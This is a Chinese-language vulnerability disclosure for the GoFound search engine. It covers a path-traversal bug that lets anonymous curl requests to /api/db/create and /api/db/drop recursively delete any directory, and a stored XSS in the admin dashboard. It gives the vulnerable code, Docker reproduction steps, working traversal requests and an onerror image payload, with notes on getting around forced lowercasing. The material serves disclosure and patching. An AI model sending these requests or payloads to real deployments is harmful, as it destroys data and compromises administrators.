GoFound 漏洞报告
软件名称:GoFound
开发者或厂商:sea-team
代码仓库:https://github.com/sea-team/gofound
1. database 参数路径穿越导致任意目录删除
| 简要描述: | 攻击者可通过 database 参数把任意目录注册为数据库,再删除该目录及其全部内容。 |
|---|---|
| 影响版本: | 1.1.5 ~ 1.4.1 |
| 前置条件: | 无。 |
漏洞成因
database 参数从 query 中取出后不做校验,直接拼进文件系统路径,用于构造引擎的 IndexPath:
// searcher/container.go:52-60 commit eec89a008c
func (c *Container) NewEngine(name string) *Engine {
var engine = &Engine{
IndexPath: fmt.Sprintf("%s%c%s", c.Dir, os.PathSeparator, name),
DatabaseName: name,
c.Dir 是配置中的数据目录,默认为 ./data。name 完全来自请求,因此 ..%2F..%2Fsrv%2Fbackup 这样的取值会让 IndexPath 落到 /srv/backup。
/api/db/create 把该名称登记进 c.engines,并不检查路径是否存在:
// searcher/container.go:70-87 commit eec89a008c
func (c *Container) GetDataBase(name string) *Engine {
if name == "" {
name = "default"
}
engine, ok := c.engines[name]
if !ok {
engine = c.NewEngine(name)
c.engines[name] = engine
}
return engine
}
/api/db/drop 会调用 DropDataBase,最终执行 os.RemoveAll:
// searcher/container.go:119-126 commit eec89a008c
func (c *Container) DropDataBase(name string) error {
if _, ok := c.engines[name]; !ok {
return errors.New("数据库不存在")
}
err := c.engines[name].Drop()
// searcher/engine.go:617-623 commit eec89a008c
func (e *Engine) Drop() error {
e.Lock()
defer e.Unlock()
//删除文件
if err := os.RemoveAll(e.IndexPath); err != nil {
return err
}
os.RemoveAll 会递归删除目标路径,因此攻击者指定的任意目录连同其中全部文件都会被清除。
默认配置不启用认证,因此上述两个请求无需凭据。
复现环境搭建
实验环境使用仓库自带的 Dockerfile:
git clone https://github.com/sea-team/gofound
cd gofound
docker build -t gofound-official .
docker run -d --name gofound --network host gofound-official
容器的数据目录为 /usr/local/go_found/data。
复现过程
在容器内创建一个用于演示的备份目录 /srv/backup:
docker exec gofound sh -c 'mkdir -p /srv/backup && echo "customer-pii" > /srv/backup/customers.sql && echo "db_password=hunter2" > /srv/backup/credentials.env && ls /srv/backup'
credentials.env
customers.sql
容器的数据目录为 /usr/local/go_found/data,向上四层即容器根目录,因此 ..%2F..%2F..%2F..%2Fsrv%2Fbackup 指向 /srv/backup。先把它注册成数据库:
curl -s "http://127.0.0.1:5678/api/db/create?database=..%2F..%2F..%2F..%2Fsrv%2Fbackup"
{"state":true,"message":"success","data":"创建成功"}
再删除:
curl -s "http://127.0.0.1:5678/api/db/drop?database=..%2F..%2F..%2F..%2Fsrv%2Fbackup"
{"state":true,"message":"success","data":"删除成功"}
目录及其中的文件全部消失:
docker exec gofound sh -c 'ls -d /srv/backup'
ls: cannot access '/srv/backup': No such file or directory
2. 后台管理界面存储型 XSS
| 简要描述: | 攻击者写入包含 HTML 标签的索引文本,管理员在后台搜索命中该文本时,标签中的脚本被执行。 |
|---|---|
| 影响版本: | 1.1.3 ~ 1.4.1 |
| 前置条件: | 管理员在后台管理界面搜索到攻击者写入的索引文本。 |
漏洞成因
后台搜索结果对 text 字段使用 v-html 渲染:
<!-- web/admin/assets/web/src/views/dashboard.vue:113-117 commit eec89a008c -->
<el-table-column prop="text" label="Text">
<template #default="scope">
<span v-html="scope.row.text"></span>
</template>
</el-table-column>
服务端在返回结果时只对命中的词插入高亮标签,不对原文做转义:
// searcher/engine.go:480-492 commit eec89a008c
text := storageDoc.Text
//处理关键词高亮
highlight := request.Highlight
if highlight != nil {
//全部小写
text = strings.ToLower(text)
//还可以优化,只替换击中的词
for _, key := range storageDoc.Keys {
if ok := (*wordMap)[key]; ok {
text = strings.ReplaceAll(text, key, fmt.Sprintf("%s%s%s", highlight.PreTag, key, highlight.PostTag))
}
}
storageDoc.Text 就是 /api/index 收到的 text 原文,原样保存在文档仓中,因此写入的 HTML 标签会被浏览器解析。
分词器会移除标点并转小写,<img src=x onerror=...> 会被切成 <、imgsrc、=、xonerror 等词,但 text 字段本身不受影响,标签保持完整。
/api/index 与 /api/query 在默认配置下同样不需要凭据,因此攻击者可以匿名写入索引。
复现环境搭建
与第 1 节相同,使用官方 Dockerfile 构建并以 host 网络启动。
复现过程
创建数据库,并把 payload 写入 payload.json:
{"id":1,"text":"hello <img src=x onerror=\"document.body.style['background-image']='linear-gradient(rgba(204,0,0,0.85),rgba(204,0,0,0.85))';document.body.style['background-size']='100% 50%';document.body.style['background-repeat']='no-repeat';document.all.app.style.opacity='0.55'\">","document":{"author":"editor"}}
curl -s "http://127.0.0.1:5678/api/db/create?database=news"
curl -s -H 'Content-Type: application/json' -X POST --data @payload.json \
"http://127.0.0.1:5678/api/index?database=news"
{"state":true,"message":"success","data":"创建成功"}
{"state":true,"message":"success"}
打开后台管理界面:
http://127.0.0.1:5678/admin/
选中 news 数据库,在搜索框中输入 hello 并回车。搜索命中后,onerror 中的代码被执行,页面顶部覆盖一层半透明红色遮罩:

注:后台的关键词高亮默认开启,此时 payload 中的 JavaScript 必须全为小写。服务端在处理高亮时会调用 strings.ToLower(text),若脚本中含大写字母(例如 document.querySelector、innerHTML),会被改成 document.queryselector、innerhtml 而失效。document.all.app 与小写形式的属性名不受影响。管理员若关闭高亮,则原文不再被转小写,脚本可用任意大小写。